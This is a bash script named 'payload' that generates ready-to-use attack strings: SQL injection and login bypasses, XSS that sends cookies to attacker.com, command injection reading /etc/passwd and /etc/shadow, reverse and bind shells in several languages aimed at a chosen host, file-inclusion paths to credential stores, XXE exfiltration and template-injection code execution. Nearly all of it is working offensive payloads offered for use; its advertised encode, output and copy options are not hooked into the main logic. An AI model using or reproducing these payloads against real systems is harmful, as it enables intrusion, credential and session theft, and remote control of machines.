#!/usr/bin/env bash
set -euo pipefail

# Script Name: payload
# Description: Security payload generator with encoding and obfuscation
# Usage: payload list                    # List payload types
#        payload sql basic               # Generate basic SQL injection payloads
#        payload xss reflected           # Generate reflected XSS payloads
#        payload cmd linux               # Generate Linux command injection payloads
#        payload shell reverse 10.0.0.1  # Generate reverse shell payloads

VERSION="1.0.0"

# Colors
readonly RED='\033[0;31m'
readonly GREEN='\033[0;32m'
readonly YELLOW='\033[1;33m'
readonly BLUE='\033[0;34m'
readonly CYAN='\033[0;36m'
readonly MAGENTA='\033[0;35m'
readonly BOLD='\033[1m'
readonly NC='\033[0m'

show_help() {
  echo -e "${BOLD}payload${NC} - Security Payload Generator v${VERSION}"
  echo
  echo -e "${BOLD}USAGE:${NC}"
  echo "  payload <TYPE> <VARIANT> [OPTIONS]"
  echo
  echo -e "${BOLD}TYPES:${NC}"
  echo -e "  ${CYAN}sql${NC}        SQL injection payloads"
  echo -e "  ${CYAN}xss${NC}        Cross-site scripting payloads"
  echo -e "  ${CYAN}cmd${NC}        Command injection payloads"
  echo -e "  ${CYAN}shell${NC}      Reverse/bind shell payloads"
  echo -e "  ${CYAN}lfi${NC}        Local file inclusion payloads"
  echo -e "  ${CYAN}xxe${NC}        XML external entity payloads"
  echo -e "  ${CYAN}ssti${NC}       Server-side template injection"
  echo -e "  ${CYAN}list${NC}       List all available payloads"
  echo
  echo -e "${BOLD}EXAMPLES:${NC}"
  echo "  payload list"
  echo "  payload sql basic"
  echo "  payload xss reflected"
  echo "  payload cmd linux"
  echo "  payload shell reverse 10.10.14.5 4444"
  echo "  payload lfi linux"
  echo "  payload xxe basic"
  echo
  echo -e "${BOLD}OPTIONS:${NC}"
  echo -e "  ${CYAN}-e, --encode${NC}    Encode payloads (base64, url, hex)"
  echo -e "  ${CYAN}-o, --output${NC}    Output to file"
  echo -e "  ${CYAN}-c, --copy${NC}      Copy to clipboard"
  echo -e "  ${CYAN}-h, --help${NC}      Show this help"
}

# Clipboard helper
clip_set() {
  if command -v xsel &>/dev/null; then
    xsel --input --clipboard
  elif command -v xclip &>/dev/null; then
    xclip -selection clipboard
  elif command -v pbcopy &>/dev/null; then
    pbcopy
  fi
}

# SQL Injection Payloads
generate_sql() {
  local variant="${1:-basic}"

  case "$variant" in
    basic)
      cat << 'EOF'
# Basic SQL Injection
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin' #
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR '1'='1--
') OR ('1'='1--

# Union-based
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

# Error-based
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CAST((SELECT @@version) AS int)--

# Time-based blind
'; WAITFOR DELAY '0:0:5'--
'; SELECT SLEEP(5)--
' AND SLEEP(5)--
EOF
      ;;
    auth-bypass)
      cat << 'EOF'
# Authentication Bypass
admin' OR '1'='1
admin' OR 1=1--
' OR 'a'='a
' OR 1=1 LIMIT 1--
admin'/*
' OR '1'='1'--
' OR '1'='1'#
' OR '1'='1'/*
') OR ('1'='1
admin') OR ('1'='1
admin') OR '1'='1'--
EOF
      ;;
    union)
      cat << 'EOF'
# UNION-based SQL Injection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--
' UNION ALL SELECT NULL--
' UNION ALL SELECT NULL,NULL--
-1' UNION SELECT NULL--
EOF
      ;;
    *)
      echo -e "${RED}Unknown SQL variant:${NC} $variant"
      echo "Available: basic, auth-bypass, union"
      return 1
      ;;
  esac
}

# XSS Payloads
generate_xss() {
  local variant="${1:-basic}"

  case "$variant" in
    basic|reflected)
      cat << 'EOF'
# Basic XSS
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<audio src=x onerror=alert(1)>

# Event handlers
<div onmouseover=alert(1)>hover</div>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>

# Breaking out of attributes
"><script>alert(1)</script>
'><script>alert(1)</script>
" onclick=alert(1)//
' onclick=alert(1)//
EOF
      ;;
    stored)
      cat << 'EOF'
# Stored XSS (persistent)
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">
<script>new Image().src='http://attacker.com/?c='+document.cookie</script>
<script>document.location='http://attacker.com/?c='+document.cookie</script>

# With common filters bypassed
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<iframe src="data:text/html,<script>alert(1)</script>">
EOF
      ;;
    dom)
      cat << 'EOF'
# DOM-based XSS
#<script>alert(1)</script>
#<img src=x onerror=alert(1)>
javascript:alert(1)
javascript:alert(document.domain)
javascript:alert(document.cookie)

# Hash-based
http://vulnerable.com/#<script>alert(1)</script>
http://vulnerable.com/#<img src=x onerror=alert(1)>
EOF
      ;;
    *)
      echo -e "${RED}Unknown XSS variant:${NC} $variant"
      echo "Available: basic, reflected, stored, dom"
      return 1
      ;;
  esac
}

# Command Injection Payloads
generate_cmd() {
  local variant="${1:-linux}"

  case "$variant" in
    linux)
      cat << 'EOF'
# Linux Command Injection
; whoami
| whoami
|| whoami
& whoami
&& whoami
; id
| id
`whoami`
$(whoami)
;ls -la
|ls -la
`ls -la`
$(ls -la)

# With common filters
;wh''oami
;who$()ami
;who\ami
`wh''oami`
$(wh''oami)

# Chaining
; cat /etc/passwd
| cat /etc/passwd
; cat /etc/shadow
EOF
      ;;
    windows)
      cat << 'EOF'
# Windows Command Injection
& whoami
&& whoami
| whoami
|| whoami
; whoami
%0a whoami
` whoami `

# PowerShell
; powershell -c whoami
| powershell -c whoami
& powershell -c Get-Process

# CMD
& dir
&& dir c:\
| type c:\windows\win.ini
EOF
      ;;
    *)
      echo -e "${RED}Unknown command injection variant:${NC} $variant"
      echo "Available: linux, windows"
      return 1
      ;;
  esac
}

# Reverse Shell Payloads
generate_shell() {
  local variant="${1:-reverse}"
  local lhost="${2:-10.10.14.5}"
  local lport="${3:-4444}"

  case "$variant" in
    reverse)
      cat << EOF
# Bash Reverse Shells
bash -i >& /dev/tcp/$lhost/$lport 0>&1
bash -c 'bash -i >& /dev/tcp/$lhost/$lport 0>&1'
0<&196;exec 196<>/dev/tcp/$lhost/$lport; sh <&196 >&196 2>&196

# Netcat Reverse Shells
nc -e /bin/sh $lhost $lport
nc -e /bin/bash $lhost $lport
nc -c bash $lhost $lport
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $lhost $lport >/tmp/f

# Python Reverse Shells
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$lhost",$lport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$lhost",$lport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP Reverse Shell
php -r '\$sock=fsockopen("$lhost",$lport);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl Reverse Shell
perl -e 'use Socket;\$i="$lhost";\$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby Reverse Shell
ruby -rsocket -e'f=TCPSocket.open("$lhost",$lport).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
EOF
      ;;
    bind)
      cat << EOF
# Bind Shells (listen on target)
nc -lvnp $lport -e /bin/bash
nc -lvp $lport -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp $lport >/tmp/f

# Python Bind Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",$lport));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);subprocess.call(["/bin/sh","-i"])'
EOF
      ;;
    *)
      echo -e "${RED}Unknown shell variant:${NC} $variant"
      echo "Available: reverse, bind"
      return 1
      ;;
  esac
}

# LFI Payloads
generate_lfi() {
  local variant="${1:-linux}"

  case "$variant" in
    linux)
      cat << 'EOF'
# Basic LFI
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd

# Interesting Linux files
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/issue
/proc/self/environ
/proc/version
/proc/cmdline
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log
/var/log/syslog

# PHP wrappers
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
expect://whoami
data://text/plain,<?php system($_GET['cmd']);?>
EOF
      ;;
    windows)
      cat << 'EOF'
# Windows LFI
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\system.ini
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\repair\SAM
C:\Windows\repair\SYSTEM
C:\inetpub\wwwroot\web.config

# Path traversal
..\..\..\Windows\System32\drivers\etc\hosts
..\..\..\..\Windows\win.ini
EOF
      ;;
    *)
      echo -e "${RED}Unknown LFI variant:${NC} $variant"
      echo "Available: linux, windows"
      return 1
      ;;
  esac
}

# XXE Payloads
generate_xxe() {
  cat << 'EOF'
# Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# XXE with external DTD
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<foo>&exfil;</foo>

# Blind XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;]>

# XXE OOB data exfiltration
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;]>
EOF
}

# SSTI Payloads
generate_ssti() {
  cat << 'EOF'
# Jinja2 (Python/Flask)
{{7*7}}
{{config}}
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Twig (PHP)
{{7*7}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java)
${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

# Thymeleaf (Java)
${7*7}
${T(java.lang.Runtime).getRuntime().exec('id')}

# Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
EOF
}

# List all payloads
list_payloads() {
  echo -e "${BOLD}${CYAN}Available Payload Types:${NC}"
  echo
  echo -e "${YELLOW}SQL Injection:${NC}"
  echo "  payload sql basic         - Basic SQL injection"
  echo "  payload sql auth-bypass   - Authentication bypass"
  echo "  payload sql union         - UNION-based injection"
  echo
  echo -e "${YELLOW}Cross-Site Scripting (XSS):${NC}"
  echo "  payload xss basic         - Basic XSS payloads"
  echo "  payload xss reflected     - Reflected XSS"
  echo "  payload xss stored        - Stored/persistent XSS"
  echo "  payload xss dom           - DOM-based XSS"
  echo
  echo -e "${YELLOW}Command Injection:${NC}"
  echo "  payload cmd linux         - Linux command injection"
  echo "  payload cmd windows       - Windows command injection"
  echo
  echo -e "${YELLOW}Reverse Shells:${NC}"
  echo "  payload shell reverse IP PORT  - Reverse shell payloads"
  echo "  payload shell bind PORT        - Bind shell payloads"
  echo
  echo -e "${YELLOW}File Inclusion:${NC}"
  echo "  payload lfi linux         - Linux LFI/path traversal"
  echo "  payload lfi windows       - Windows LFI/path traversal"
  echo
  echo -e "${YELLOW}Other:${NC}"
  echo "  payload xxe               - XML external entity"
  echo "  payload ssti              - Server-side template injection"
}

# Main logic
if [[ $# -eq 0 ]] || [[ "$1" =~ ^(-h|--help|help)$ ]]; then
  show_help
  exit 0
fi

type="$1"
shift

case "$type" in
  list|ls)
    list_payloads
    ;;
  sql)
    generate_sql "$@"
    ;;
  xss)
    generate_xss "$@"
    ;;
  cmd|command)
    generate_cmd "$@"
    ;;
  shell|shells)
    generate_shell "$@"
    ;;
  lfi)
    generate_lfi "$@"
    ;;
  xxe)
    generate_xxe
    ;;
  ssti|template)
    generate_ssti
    ;;
  *)
    echo -e "${RED}Error:${NC} Unknown payload type: $type"
    echo "Run 'payload list' to see available types"
    exit 1
    ;;
esac
